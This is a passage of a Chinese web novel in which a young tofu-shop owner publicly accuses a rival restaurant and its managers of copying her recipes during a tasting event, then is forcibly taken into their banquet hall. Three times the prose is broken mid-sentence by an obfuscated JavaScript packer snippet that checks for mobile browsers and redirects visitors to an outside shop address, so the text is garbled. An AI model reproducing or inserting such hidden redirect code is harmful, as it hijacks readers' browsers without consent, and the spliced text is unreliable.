“你上次写的那个叫诗?别丢人了,让我来!” 有人往前挤,有人往后推,折扇掉了,诗稿飞了,一个穿青衫的书生被挤得踉跄,怀里抱着的宣纸散了一地,他蹲下去捡,又被后面的人踩了手,嗷的一声叫出来。 罗烨烨啧了一声,把那书生拽起来,也怪疑惑:“不是说明日才品鉴会吗,怎么今晚开始办?” “你懂什么?”那书生觉得自己被她拉起来,又感不太好意思,便凑近对她悄声。 “隔壁那个枫城来的铺子,今个上午可办了个大的,哎呀,听说可阴险了,演了出戏……” “两男争一女!” 那书生面上表情真是津津有味,活生生演了一段心口不一,“吸的好多人都去看了。啧啧,真是无所不用其极,下作,趁人之危!” “……” 罗烨烨轻轻掀了个白眼,目光瞟到别处看。 高台正中央还躺着一面大鼓。鼓面上铺着红绸,搁着棒槌,和一只白陶坛,肚子上贴红条,上面墨书四个字: 御膳候选。 罗烨烨看着那四个字,轻轻哼了一声。 她迈步上前,扎进人流中。却一抬脚,便被人海推着往前走。周围推推搡搡,她努力稳住身形,目光越过攒动的人头,确认高台的方位。 忽然,脚边踩到什么东西。 她低头,是一只荷包。 藕荷色的缎面,绣着几枝细瘦的兰草,针脚细密,做工精致。她弯腰捡起来,翻过来一看。 背面绣着一个字:遥。 罗烨烨愣了一下,抬头往前看。 人群里,她一眼捉住,一个红色的身影正往高台方向走。 红衣红裙,双丫髻,各一只银篦,小丸子梳得利落,走起路来裙摆轻轻摆荡,像两朵含苞的芍药花。 “哎!”罗烨烨喊了一声,举着荷包往前挤。 “谁掉的荷包?” 那红衣女子没回头,继续往前走。 罗烨烨又喊了一声,还是没反应。她皱了皱眉,这估计不是她的。又瞅见另一个人,她想追两步,结果被身后的人一撞。 猝不及防,她整个人往前一栽,差点趴在地上。左手一撑,听见稀沥沥的声音,以为啥东西碎了,下意识伸手摸头,哎? 头上的桃花珠钗不见了。 “我头钗!”她急了,扭头在地上找。 人群还在往前涌,她蹲下去,在人脚之间来回扫视,看见那支桃花珠钗正躺在地上,眼看就要被人踩到。 她赶紧伸手去捞,指尖刚碰到钗尾,一只脚已经踩下来了。 罗烨烨叫一声:“诶别踩!” 一只手比她更快,把珠钗从鞋底下面拈走了。 罗烨烨仰起脸。 那张脸逆着光,先看见的是眼尾。画着淡淡的嫣红啊,很夺目。一双眼尾微垂的狐狸眼,像桃花瓣落在雪地里。 视线再落下,那嘴唇上抹了唇脂,颜色不浓,却衬得整张脸都鲜活起来。 “这是你的吧?” 声音轻轻的,罗烨烨感觉潺潺月光落了下来。 她再一定睛看,那红色的衣裙于她目中清晰。在暮色里显得格外浓烈,像一团烧在人群里的火。 罗烨烨愣了一下,接过珠钗,点了点头。 那女子便没再多说,转身要走。 “等等。” 罗烨烨站起来,拍了拍,一手递过攥着那只荷包,“这是不是你的?上面有个‘遥’字。” 那女子回过头,看了一眼荷包,摇了摇头。 “不是我的。” 她说完,正要走,人群里忽然有人喊:“苏掌柜快来,该您上台了!” 那人又喊一声:“苏掌柜!” 罗烨烨的心猛地跳了一下。 “来了。” 面前的女子起身,便提步往高台方向走去。暮色从她身后照过来,她的红衣在月光下一洒,罗烨烨才看明白,哦,是桃杏色啊。 和她身上一模一样的桃杏。 只不过方才在暗,是鲜红,可当她走到灯笼底下,光色一照,那红便渐渐透出些粉,像一朵花在光里慢慢绽开。 这人往悦人楼走,罗烨烨心底一惊,拔腿往前追。 “苏掌柜!” 她也喊了一声,将荷包揣进衣襟,往急流中去。 人群如潮水般涌上,把她推来推去。她侧着身子挤,拨开一只只手臂,绕过一个个肩膀,好不容易挤到高台前面,抬头一看—— 苏叶叶已经站在台上了。 锣鼓敲了一声,人群安静下来。 台上的家丁清了清嗓子,高声宣布:“各位!品鉴会现在开始!” “请苏掌柜为各位介绍新品——” 苏叶叶微微颔首,往前迈了半步。 红衣在灯笼光里显出柔和的桃杏色,发髻上的银簪换成了一支桃花钗。罗烨烨细看,居然和她头上这支也有些相仿。 “今日悦人楼推出的新品,共有三样。”她声音若好女踏水而至,款款而来,能泛出涟漪,“青腐乳,红腐乳,黑腐乳。” “诸位请上眼。” 她话音刚落,台下的文人墨客就按捺不住了。 “我先尝!我诗写得好!” 一个穿绿衫的书生抢到第一块,塞进嘴里,嚼了两下,眼睛一亮:“嗯,确实好吃!” 他咽下去,抹了抹嘴,张口就来:“红白青黑一碟收,味分南北各千秋。” “若问此物何处有,郎台悦人第一楼!” “好!好诗!” 人群里有人叫好,噼里啪啦鼓起掌来。越来越多文人墨客靠近,家丁们陆续端来托盘放案上,却挤得罗烨烨看不清,瞧这阵仗,呼吸便不住加快。 她深吸一口气,伸手拨开前面的人,往前挤。 那别的书生不甘示弱,方要开口吟诵,便被她一把推到旁边。 “哎哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516221|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !干什么呢?”那书生火了,“挤什么挤?没长眼啊?” 罗烨烨没理他,继续往前挤。 有拉二胡的老者要助兴,正摆好姿势,弓子刚搭上弦,也被罗烨烨拨开。 “这谁家娃娃?给她弄走!” 一群人赶庙会似的热闹叫嚷,罗烨烨穿行而过,一路上遭了不少谩骂吵闹,才挤到高台最前面。 台上的长案就在眼前,白瓷碟里的腐乳,她边喘气,将案一扫,辨认得清清楚楚: 青灰色的,表面带着像泡皱指纹的,是青腐乳,基底。 赤红的,油亮亮的,是红曲米发酵的红腐乳。 黑褐色的,干巴巴的,像缩水的炭,是陈年老卤浸出来的臭豆腐。 还有毛豆腐。发着绒绒茂密白毛的,漂亮的,小动物似的。是霉豆腐。 后三样俱全。和她枫城豆腐宴上摆的,一模一样。 “呦,姑娘,这么着急忙慌挤过来,馋的不行了呀?”一个家丁笑嘻嘻打趣她,递过一双筷子,“尝尝吧,咱们悦人楼的新品,保管您吃了一回想二回。” “定不负您的舌头。” 罗烨烨接过筷子,夹起一点红腐乳,放进嘴里。 咸,鲜,上颚回味微甜。 在舌头上依次捻开,豆腐的质地丝滑如奶油,在齿间一抿就化,余味里带着一丝若有若无的酒香。 她品着,点了点头。 其他人被她挤了,也好奇她吃了后什么态度,皆围过来,凑她边上看。 旁边有人问她:“怎么样?是不是特别好吃?” “确实好吃。”罗烨烨又夹起一点青腐乳,放进嘴里。 味微腥,鲜。咸,微酸。那股豆腥只在入口的一瞬间糊来,随即被鲜味盖过,舌根一股回甘,像咬了一口盐津梅子。 她又点了点头。 “这个也好吃。” 人群里有人笑了:“姑娘,你这是饿了吧?怎么吃什么都好吃?” 还有人给她递馒头:“这还有馍馍嘞,你别光吃酱,都尝尝。” 罗烨烨摆手示意搁那吧,又夹起碗里黑腐乳。 这块最脆,浸泡了汤汁,口味最重最杂,她送进口中,像干了一碗陈年的酱香,又吃了条正月的大腊肠。热食暖身,饱腹。 不过她嚼着嚼着,眉头动了一下。 “这里面加了陈皮,”她含混地说,“加了酸汤吧?传统八角、桂皮,花椒放得不多,应该是放小布兜里浸,吃的时候挑出来了。” 旁边的人愣了一下:“你知道咋做的?” 罗烨烨咽下去,又夹了一块红的:“这个红腐乳,红曲米用的是好的,没有发苦的味道。但里面加了玫瑰露,所以有花蜜甜味。” 她又补充:“但我觉得其实不如用玫瑰花瓣的香,而不用甜,会怪。这个配方我原本想好改良的,还没写出来。” “这个臭豆腐,”她又夹了一块青的,“臭卤熬的时候放了虾酱,所以鲜味特别重。但虾酱放多了会腥,他们用白酒压了一下,腥味没了,酒香进去了。” 人群安静了。那个穿灰麻衣的汉子张着嘴,都看着她。那拉二胡的老者也不气了,就拧着眉。 所有人都看着她。 “你如何得知?”一个年长书生摸下巴上的胡须。 “你还能尝出配方?” 罗烨烨又夹了一块臭豆腐,嚼着吃,哎呀,还是有汤水的好吃。她不紧不慢地,点了点头。 “嗯,差不多吧,都在脑子里呢。” 她咽下去,舔了舔嘴唇,都给她吃喜了,眉头都舒展开。又夹了一块,放进嘴里,嚼着,含混地嘟囔。 “因为配方就和我们家一模一样啊。” 29. 对峙 平地惊雷。 这话可不兴随便说呀,人群里立刻被投了一块烫手山芋,嗡地七嘴八舌叫起来。 “她说啥,一模一样?” “什么意思?她是说悦人楼抄了她家的?” “这人谁啊,口气也太大了吧?” 有人嗤笑出声,指着罗烨烨:“哎哟,你这可真是说梦话呢?人家悦人楼开多少年了,你算老几啊?” “就是就是,”旁边有人附和,“你哪来的啊,你是谁呀?” “哦,我想起来了,我认得你!” 一个穿青衫的书生忽然指着她,又眯着眼打量,“你不就是那个……那个经常挑事的?我好像在哪儿见过你,你是不是之前在枫城闹过事?” 这些话在罗烨烨耳边过啊,她索性笑了一下。 她摊开双手,缓缓举起来。抖开她袖子,轻轻转了一圈。 像展开一幅画卷啊,桃杏色的衣袖从手臂上滑落,垂下来,像两面幌子,在暮风里轻轻招摇。 衣袂飘飘,任风吹,任人看。 “就说认得我啊,那你们呢?”她环顾四周,叉起腰,歪了歪头。 “不觉得我眼熟吗?” 人群里偶有嘟囔,但也渐渐静下,数道目光落在她身上,一时皆在观望,无人发言。 “罗掌柜。” 忽而落下一道声,轻轻的,柔柔的,像一根羽毛落在水里。 罗烨烨抬起头。 苏叶叶站在高台中央,微微倾身,这家悦人楼的掌柜啊,施施然步下台阶。 “苏掌柜。” 罗烨烨朝她一礼,苏叶叶躬身。 大家都在看她俩。看她的桃杏色褙子,看她发髻上的桃花钗,看她那双亮晶晶的,带着点笑意的眼睛。 哎呦,还真有点分不清呀。有人张了张嘴,想说什么,又咽了回去。 方才给罗烨递筷子的家丁夹在中间,左右看看,不知所措,缩了缩脖子,一溜烟跑了。 这下,两个穿桃杏色衣裳的女人,便正面而向。一左一右,隔着一段长案,遥遥相对。 罗烨烨先开了口。 “你为什么要这么做?” 苏叶叶微微抬起双眉,露出一副惊讶神情:“如何做?” 她这一反问,旁边立刻有人帮腔了。 “哎,你这是来问罪的?”一个文人墨客忍不住开口,“无非就是觉得人家苏掌柜抄了你呗。但这衣服……衣服就算一样,也不能如何吧?” 他说到最后,声音渐渐低了下去。 自己也看出来了呗。 俩人站到一块,穿的是一般颜色,戴的一般的花,做的是一个味的豆腐。若说罗烨烨是最开始穿的那个人,那另一个这样穿的人,意味确实很微妙。 可还是有人嘴硬。 一个穿酱色直裰的中年人,哼了一声:“我反正是站我们郎台的苏掌柜。外来的,凭什么指手画脚?” 罗烨烨直接问苏叶叶:“你知不知道,你家的菜,跟我家的菜,一模一样?” 此话一落,人群里唏嘘声渐起。 太直接了吧? 原本都以为这种高门大户呀,会迂回、会委婉,给自己留几分体面。可她就这么直直地插进来,一棍子捅破客套和伪装,真有点令人恍惚呢。 不过就是这般直言,落到如此场景,竟让人觉得本该如此。 两个穿同样衣服的豆腐掌柜,立在同一席月光之下。拐弯抹角有什么用?不如打开天窗说亮话。 目光陆续都转向了苏叶叶。 她咋回? “若说是枫城醉仙楼,南湖萧氏。” 苏叶叶微微颔首,嘴角弯了弯,轻声言语,“那必然是知晓一二的。” 她抬起那双狐狸眸目,望入罗烨烨眼帘。 “自枫城遴选之后,谁人不识罗掌柜?” “枫城来的豆腐西施,御膳候选,七彩猫豆腐的掌勺,”她一一细数,如数罗列,慢步朝她走近,“罗掌柜走到哪里,都是焦点。” “所以,”罗烨烨看着她来,“因为猫豆腐的名气大,你们打算学我们配方自己做,然后拿我们的名字顶上,替代我们,上御膳?” 哎呦,真是每每直击要害。 不管苏叶叶怎么绕,她都能把话题拽回来,拽回到那个最核心的问题上。 你们抄了没有? 有人不服气。 “我说这位姑娘,你说话能不能别这么咄咄逼人?” 一个穿月白长衫的书生站出来,皱着眉,“苏掌柜好好跟你说话,你这是什么态度?” “就是,”旁边有人附和,“人家悦人楼开了十几年了,你才来几天?” “哎,你急什么?” 一个大嫂叉起腰,皱眉向那书生,“你不会是跟悦人楼一伙的吧?人家正说话呢,你老打断人家干啥?” “中了都别吵吵,我正看带劲呢!”旁边一个大爷嗑瓜子,咧着嘴帮腔。 那书生被噎得脸红脖子粗,想找人说理,但其他街坊大都不理他,瞅着前面两眼放光的居多,凑热闹者众。 想看上面俩吵,而不想自己吵。 而罗烨烨始终把目光放在苏叶叶面上,等着对面接话。 她没啥好说的。 不错,她就是来对质的。她都跑到这来了,不对质,以为她要干什么呢? 难道轮到她来解释? 苏叶叶反而歪头,略显出些不解。还是那副无辜模样,像一幅静美人图,挑不出毛病。 “我不知罗掌柜在说什么。” “我只是拿钱办事。陈掌柜让我做什么,我就做什么。”苏叶叶颔首,”菜肴、菜方,我一概不知。” “那背后写文章、抄录菜谱的人,你总知道吧。” 罗烨烨抱起胸,复又问她,“悦人楼都有谁与你共事?” 苏叶叶轻轻摇头:“我并不知。悦人楼的门面,只我一人。” 罗烨烨缓慢吸了鼻息,不说话。 苏叶叶垂着眼,睫毛在月下,闪烁着影。看不清她眼底的情绪。 “好。” 罗烨烨,她想深深出气,这口焦躁没叹来,只化作话说出口,她都感到浑身都泛出一种无力感: “那你既然是掌柜,总得做菜吧?你把你看到过的菜谱给我们,我们就能证明了。” 苏叶叶轻轻摇了摇头。 “所有菜谱,”她抬起眸,慢慢地望罗烨烨,“都是陈掌柜亲手教的,我什么都不知。” 一问三不知。 罗烨烨皱着眉,望着她,最后反而呵笑了一声。 “苏掌柜。据我所知,大景律法,不允许冒牌仿制。”她终于也放开步子,朝她走近。 “如果后面真的查出来了,你和你背后的人,不管有什么苦衷,都要按律裁判。” 罗烨烨望着她,欲言又止。 “你什么都不说,可你知道,做这件事的人,是什么品性。出事之后,他会如何,你难道没想过?” 说到这,她甚至上蹙起眉,目光软下来。倾身凑近她,将那眸目望得更深。于她二者只剩一步之内,只她面前之人能听见。 “他万一把罪责全部推给你呢?” 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516222|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这时,高台上传来一个声音。 “罗掌柜大驾光临。”声音从台阶传下来,真有大侠之风范呢,好如宽心海量,笑意若滔滔江水。 “有失远迎,还望海涵。” 双手抱拳,微微前揖。那张短娃娃脸抬起,挂着笑,直直望向罗烨烨。 陈通海。 夜风呼啸,吹得高台上的红绸轻轻飘荡,吹得罗烨烨鬓边的桃花钗轻轻作响。 她抬起手肘,要拱手。 风钻入她两袖,令她肌体生凉。 “陈掌柜……” 而陈通海却移步,破了这一来一往之礼。 并未有拾起罗烨烨接的话的意思。 对方上前,到苏叶叶身边,站定。 水绿绸衣,握紫竹骨扇。对两丛桃花。 三个人,一盘棋。 “听闻罗掌柜的猫豆腐名声在外,我们这儿也有差不多的吃食,也愿意请罗掌柜品鉴一二。”陈通海笑一笑,弯起眯缝的眸目,撂下话。 “不过说句实在话,做豆腐这门手艺,各家有各家的章法。不能总觉着自己正宗,别家就是偷师。您说是不是?” 更刺激了。 此番一加码,围观食客愈发的多,不只是来吃的,还有纯看热闹的。大晚上却聚了如此多人,有没有给官府通融,不言而喻。 “陈掌柜这话在理啊,今日我尝了贵楼的霉豆腐酱,确实不错。”罗烨烨点头,收回手指,用掌心包住发凉的指头。 “既然大家都是做豆腐的,味道相近,也是常事。” 高台上的红绸猎猎作响。 击拍着中心的大鼓,都要打出咚咚声。 陈通海站在苏叶叶身侧,罗烨烨往后者看,那人便低下目光,一直默不作声。 “豆腐味道相近,那也是常事。”那张短娃娃脸上挂着笑,眯缝着眼,像是在看一个不太懂事的孩子。 “不过我悦人楼,这些年总揽郎台之特色,为宣传郎台风貌,也算尽了绵薄之力。” 他吸口气,环顾四周,如临江海:“陈某在这条街上做了几十年,方子都是我自家开的。今日得御膳之机会,才得见枫城的特色,居然是一个小姑娘。” 他似乎轻呵一声,叹了口气,语气里带着几分感慨:“也真是后生可畏啊。” 后生可畏。 果真是一颗甜枣,里头是苦是辣,只有说者清楚。 罗烨烨她甚至有点不想睁眼。这种好话里带揶揄,客气里藏刺的腔调,真的不是很想听,索性低下头,抠自己的手指。 “我确实是后生,得多向陈掌柜学习。” 指尖有薄茧,是握铲,端锅磨出来的。指腹上还有几道细小的口子,是切菜时不小心划的。她把这些茧和口子抠了个遍,才慢慢抬起头。 “不过陈掌柜别误会,”她语气平平的,看着他那张眯着眼的面,“我是真心觉得好吃。既然我尝的味道一样,说不定咱俩配方也一样呢?” “我没别的意思。不如我先说我的配方,咱俩对一对,看一不一样。” 她把手收回来,垫在肘子下,交叠在胸前,抱臂站着,“确实尝着一样,若是配方一样,说不准咱俩学的是同一个祖宗呢?” 人群里又是一阵骚动。 有人叹气,有人摇头。有的看向陈通海,看他慢慢眯起了眼,都忍不住嗤笑,皆等着这个成熟稳重老辈份,抓紧给她这乳臭未干小丫头,挫一挫威风。 都等着看好戏呢。罗烨烨也抱着胸,等着。 杠就杠呗。 她就等他接话。 再来一个,谁怕谁? 30. 帮腔 “哎哟,这小姑娘怎么回事?” 这话一落,其他街坊都实在是唏嘘,忍不住怼这个罗烨烨,“你怎么老绕到人家的配方上,配方能随便告诉你?” “就是啊,你说配方,你那配方又不值钱。”一个胖商人指她,“人家悦人楼是开了几十年的老店,你算哪家铺子?” 一个挑豆腐老汉嗐一声,附和啊:“我看哪,是你自家铺子没啥出挑的,才说大家豆腐都一样味。” 他朝向街坊:“是不是啊?” “现在世道就是这,同行同质,别人做什么都抄,比谁抄得快。” 另一个书生模样的摇着扇子,摇头晃脑,“抄得四不像,偏偏还最能招眼,把正经好的都给压下去了。” 一句一句,是朝她扔石头臭鸡蛋呢。 罗烨烨听着,心里头真发笑。左右慌也没用,她就慢慢撇着嘴,岔开脚,换了个舒坦的站姿,等他们骂得喘不上气来。 她直接开口舌战群儒:谁说配方不值钱?怎么只有开了几十年的老店配方才值钱?那你爹娘开的小摊小贩,配方就不值钱了是吧?” “忘了自个早上吃的是哪口粥,忘了这街上有多少除我之外,还有的豆腐摊?” 她把周围这一群人全扫了一遍,最盯了一眼方才那个挑豆腐的,说她没出挑。 哎呀,品鉴会嘛。来的多是食客,并非庖厨。还有一些是平日里饭来张口,衣来伸手的居多。 她这一眼扫过去,看见几个手上沾着铁锈屑的匠人,倒是皱了皱眉,琢磨她的话。 罗烨烨并不熄火,她接着喋喋不休:“你们磨过豆子?卖过豆腐?谁没有,谁就只认老店。认谁的铺面大,谁家名气响,谁家就是好的。” “至于这豆腐到底是怎么做的,方子是从哪儿来的,味道跟别家有什么分别。”她抬下巴。 “你们谁关心,谁分得出来?” “这不怪你们。没亲手做过,是你们擅长做别的。况且我们这行,本来也不设什么门槛。” 输出一会,她有点累了,叉起腰,往后倚了倚。 “可你们既然分不出来,凭什么断定是我抄他家,就断定他家方子是自家开的,我的就不值钱?” 她目光从这些人脸上掠过,人群随着她沉静。她声音缓和下来,话掷地上也愈发有力度。 “还有谁说不出挑,请看了。到底谁和同行同质,谁是抄。我为何今夜里单找悦人楼来理论,不找你街上别的豆腐摊?这整个郎台,难道就他一家卖霉豆腐?” “你们一个个都缩着脖子,就真只认这一家是吧?” 她抬眼看陈通海。 他还站在那里,眯着眼,嘴角挂着那抹笑啊,可谓是意味不明。看得罗烨烨也有点乏力。 这张假面啊,就真的跟那硬木头面具刻出来的似的,怎么敲都敲不碎。 罗烨烨收回目光,哼哼笑声。 忽然心觉可笑,真是不值在此多费口舌。 旁边这些人说了也无人帮腔,最多就是沉默。还有几个攥着他手里的竹筒子咔咔响,跟磨牙一样,就等着合适的时机上来咬她一口。 罗烨烨身体冷。站得久了,腿有点麻。她动了动脚,慢慢后撤了半步。 “行。”她有点麻木了,“今日是我唐突。” 她抬起头,环顾四周,那些义愤填膺的脸、看热闹的脸。幸灾乐祸的脸啊,一张一张,映进眼里。 “只不过罗某心觉坦荡,无所谓遮遮掩掩,说话直了点。我也不求大家谅解了,我这人就这个样子。大家多担待吧。” 她拍拍衣袖,不叫身体被冻僵,叹出最后一句:“我也不一定在这留多久。” “哎,谁管你留不留啊?”人群中有人嗤笑,“你这口气怪大的,谁管你啊?” 那是个中年妇人,叉着腰,上下打量着罗烨烨。 罗烨烨,梳着双丫髻,脸圆圆的,眼睛大大的,长了一副乖巧样。 嘴皮子却利得不行,真是狡诈。 又不知天高地厚。 罗烨烨没理会,她转脚要走了。 “罗掌柜确实是年轻。”陈通海终于开口。 罗烨烨停步。 反而见此人笑面宽宏,以手压地做安抚态势:“大家不要对她太过严苛。罗掌柜,我知道,你心中有气。” “你觉着在枫城就你独一份,霉豆腐这招牌是你起的。来了郎台,见别人也卖霉豆腐,就怕选不上御膳。我懂。” 他往前朝她走,浑身杂糅的气质,是一种宽厚的,长辈式的慈祥,又坠着沉沉的黑夜: “年轻人嘛,喜好争个头名,能理解。喜好压人一头,也平常。不过说实话,出一样东西,谁做了,未必是谁起的头,就得谁做到底。” 他目光落在罗烨烨脸上,有悲悯,似在为一个小辈传授呢,“更该交给懂行的人来做。比方说我这悦人楼,不单会做霉豆腐,炒豆腐、煎豆腐,青红腐乳,样样来得。” 他展开衣袖,对着这无边夜色袒露胸怀:“我手下的人做得更好、更快。既然是上御膳,厨艺头一等重要,不能光有个念头,对不对?” 罗烨烨看着他,点了点头。 她心里在想别的事。比如下回趁黑,再摸一次仓库,看看他们到底把抄的配方藏哪了。再譬如回去之后,怎么重新准备御膳的材料。譬如…… 逆风带沙过。罗烨烨叹口气,拨了拨吹乱的额发,抖了抖袖子。 算了。 她拱手朝陈通海致了一礼。 “陈掌柜心胸开阔、胸怀宽广,肚量非常人。今日多有得罪,罗某便不久留了。” 以退为进嘛,反正如何耗在这,局势也无解。 可陈通海摆摆手,像是不计较,却还要抒发他的高瞻远瞩:“况且我家大业大,我做的菜,都是用最低的价、最好的食材,给郎台百姓送上一份吃的欢喜。” 他甚至带起些慷慨激昂:“我收揽天下山珍海味,齐聚于我郎台这一席之地,这对郎台的百姓,难道不也是一桩美事吗?” 话越说越有理了。 罗烨烨听着,只觉得夜风愈发地凉,灌进衣襟口,顺着她前胸贴脊背地往下爬。 “夜色也深了,”她打断他,“陈掌柜早些休息,罗某便告辞了。” 她拍了拍身上沾的风尘,转身要走。 诶,肩膀一顿。原来,被家丁按住了。 罗烨烨,缓慢抬头。 月色越暗,她身上那件桃杏色的褙子便越暗淡,像一朵花被夜露打湿了,颜色一层一层地褪下去。 “……” 罗烨烨撇嘴,瞥一眼旁边那大侠掌柜还在绘声绘色,她索性没招了。 先给你捧爽了再放人呗。 “陈掌柜心胸开阔、胸有大志,我等自愧不如。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520828|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗烨烨随口抛话,应付差事地捧场,口里其实也艰涩,“说不定我猫豆腐还得仰赖于您的名号。您家大业大,届时能赏脸与我,一块做个豆腐宴……” “豆腐宴?” 陈通海的声音忽然一变。 叫罗烨烨心头一跳,仰起脸。却没成想,那大侠,陡然脸色就裂了一分。面上那笑哇,喉咙里提高了嗓音,差点就有一些稳不住形。 但周遭的气氛顷刻而变动,大家有意无意,将目光聚过来。 “罗掌柜,”陈通海就笑了笑,那嘴角咧着,眯缝着眼,盯着罗烨烨,“你可真是目中无人,总是自说自话啊。” 罗烨烨缓慢地皱起眉。 “豆腐宴?猫豆腐?” 陈通海笑了一声,那笑声比夜风还冷,“罗掌柜,你真以为,就凭你那几个豆腐,就能上御膳?” 他真就笑了,那目中十足地流露出了轻蔑,嘲讽,甚至带着些怜悯,高高在上,居高临下,视她如蝼蚁。 “恕我直言,就这种小家子气的东西,凑到京城的仆隶眼跟前,都会觉得臭,都会觉得酸。” 沉默。 周围围观的街坊,此时也说不出话。有的是不知怎么突然那么大火药味,烧着中间的气氛都微妙,都冷,令人感觉浑身发毛。 他们搓搓手臂,也噤声。也有的不知心里在想什么,就闭着口,绷着牙齿颧骨,看他们。 大家握着锅铲,有捏着筷子,也有端着碗。全都杵在原地,站成一幅被刻印出的木板画。 罗烨烨站在人群前面,袖下的手,慢慢攥紧。 她慢慢地攥紧了拳。 胸中有一股火在烧,在卷,在往上蹿。烧得她膝盖忍不住弹起,往前迈了一步。 陈通海也往前迈了一步。 这中年,比她高出一个头,走过来的样子气定神闲,好比在他自家府里的后园,视察闲逛。他扫一眼罗烨烨袖下的拳,又看了看她的鼻子,轻轻嗤嘲。 “罗掌柜,你确实小。” 他目光从下往上,丈量她的身高。 “你看你,如今也不过就到我胸前。十多岁吧,这栋楼……” 他回身,朗袖一展,往那栋灯红酒绿的高楼遥遥一指。 “比你要年长十年有余呢。” 彩绸灯笼在夜风里轻轻晃着,把陈通海的影子拉得又长又斜,罩在罗烨烨头顶。 他收回手,看罗烨烨头上乌发才复有光亮,面上笑再度舒展,心情很是怡然。 “来都来了,”他的声音放回了温和的,从容调子,“不如尝尝我们悦人楼今夜的全席宴?各地名菜,应有尽有。” 他也不等罗烨烨答话,直接一挥袖,吩咐下去:“来人,我悦人楼今日品鉴会,幸会枫城来的罗掌柜。” “罗掌柜是贵客,请上座。” 一时间,几个家丁凑过来,伸手要请她。 伸到半空,看见她身上那件桃杏色的褙子,又犹豫了。 哦——这是苏掌柜的衣裳颜色,居然恍惚了。互相打量确认,还往陈掌柜身上打量了,又不敢碰。 罗烨烨抬起头,瞥了那家丁一眼。 侧过身,移开肩膀,用正脸对着他。 乌云蔽月。 陈通海,他的人影和眼神一同落下。压上台阶,压在罗烨烨身上。 “还不快把人带进楼?” 31. 鸿门 且说夜风呼啸,本应是寂朗之夜,这悦人楼却愈焕光彩、引人气。 罗烨烨说是被请,实则是两个膀大腰圆的家丁,一左一右扣住她肩膀,叫她被迫跟着陈通海的影子往里进。 她掀着白眼,拧着眉,再往上一抬—— 哎,真是不见不知,一见还真是挺气派的。 这一脚踏进来,骄奢淫逸,美轮美奂。 连廊沿河而建,每隔三步便悬着一盏朦胧的料丝灯笼,里头跳跃的火光映着屏风上的锦鲤,像是活物在水中穿梭。 耳畔是若有若无的琵琶弹唱,软糯的曲调和着浓烈的酒香,熏得人脑袋发昏。还有文人墨客醉醺醺的,挂在桥头吟诗作赋。 还真是花钱雇了好些人,好几个还有眼熟。 这几个不是之前在她铺子跟前凑热闹的吗? 罗烨烨撇嘴,移开了目光,想看看景色散散心。 却入目好几个眼熟的菜:佛跳墙、东坡肉、清蒸鲈鱼、叫花鸡。 一道道盘里,油亮亮的,隔着老远,都能闻见香气。 她都没打算开口问,旁边的家丁便已经笑嘻嘻地指给她看了:“哎,罗掌柜您看,这咱们悦人楼的特色菜品,佛跳墙。” “悦人楼特色?”罗烨烨既已被强请进了他们的地方,本就也懒再装了,直接呵出了声,“这不是闽州特色吗?” 前面那水绿衣的掌柜便回头。 “我就是闽州人,”他声音悠悠拖长,毫不在意她在后头吱吱哇哇,“闽州的厨子就在我们楼,这就是我们的招牌特色。” 罗烨烨点点头,深深地点了点头,笑了。 真是脸面尽无呀。 她越往前走,抓她的人便停住了。罗烨烨一停脚,再往上随意扫目光,料想又是什么特色菜。 结果啊,正对着那个上座,披着金灿灿的帛子,居然是到她要坐的地方了。而在那首位之旁,正坐着一个剑眉朗目、红唇的白衣公子! 罗烨烨还特地眯了眯眼,定睛了才睁大眼睛: “萧握瑾?!” “怎么,见到是我,你很失望?” 虽然一时相互无言,但萧握瑾唇角弯着,眯着眼凉飕飕看她,非常清楚她方才心中所想。 唉,不是方才吵过架嘛。 罗烨烨咂吧咂吧嘴,往那堆玉盘盛着的山珍海味里看,忽然觉得这些解解馋也不是不中。 不过这个吧…… 罗烨烨假模假样揉了揉眼,又悄悄往上瞥。 她和他异口同声。 “你怎么在这?” 话出口,她才看见他身后挡着两个黑衣家丁,铁塔一般,显得他只是坐在那,便被后面的阴影所笼罩。 罗烨烨恍然回神,而背后又有人将她一拍,叫她生出些寒意来,看清了如今境地,便心底油然冒出焦灼。 家丁把她的肩膀往前一推:“请入座吧,罗掌柜。” 话堵在胸口,不知要先问哪一句。 衣裙落到这冰凉凉的座椅上,罗烨烨收回手,攥了攥手心里出的那层微微的毛汗。 她想问萧握瑾:这是什么情况? 你是来调查的时候被抓了吗,有没有受伤? 只消这般想,她下意识瞟向萧握瑾,却见此人垂眸敛色,把瓷盘玉盏推到她手肘边。 再抬眼,对上他桃花目。 “胳膊。” 他示意。罗烨烨便抬起肘子,让那瓷盘玉盏挪到了她面前。 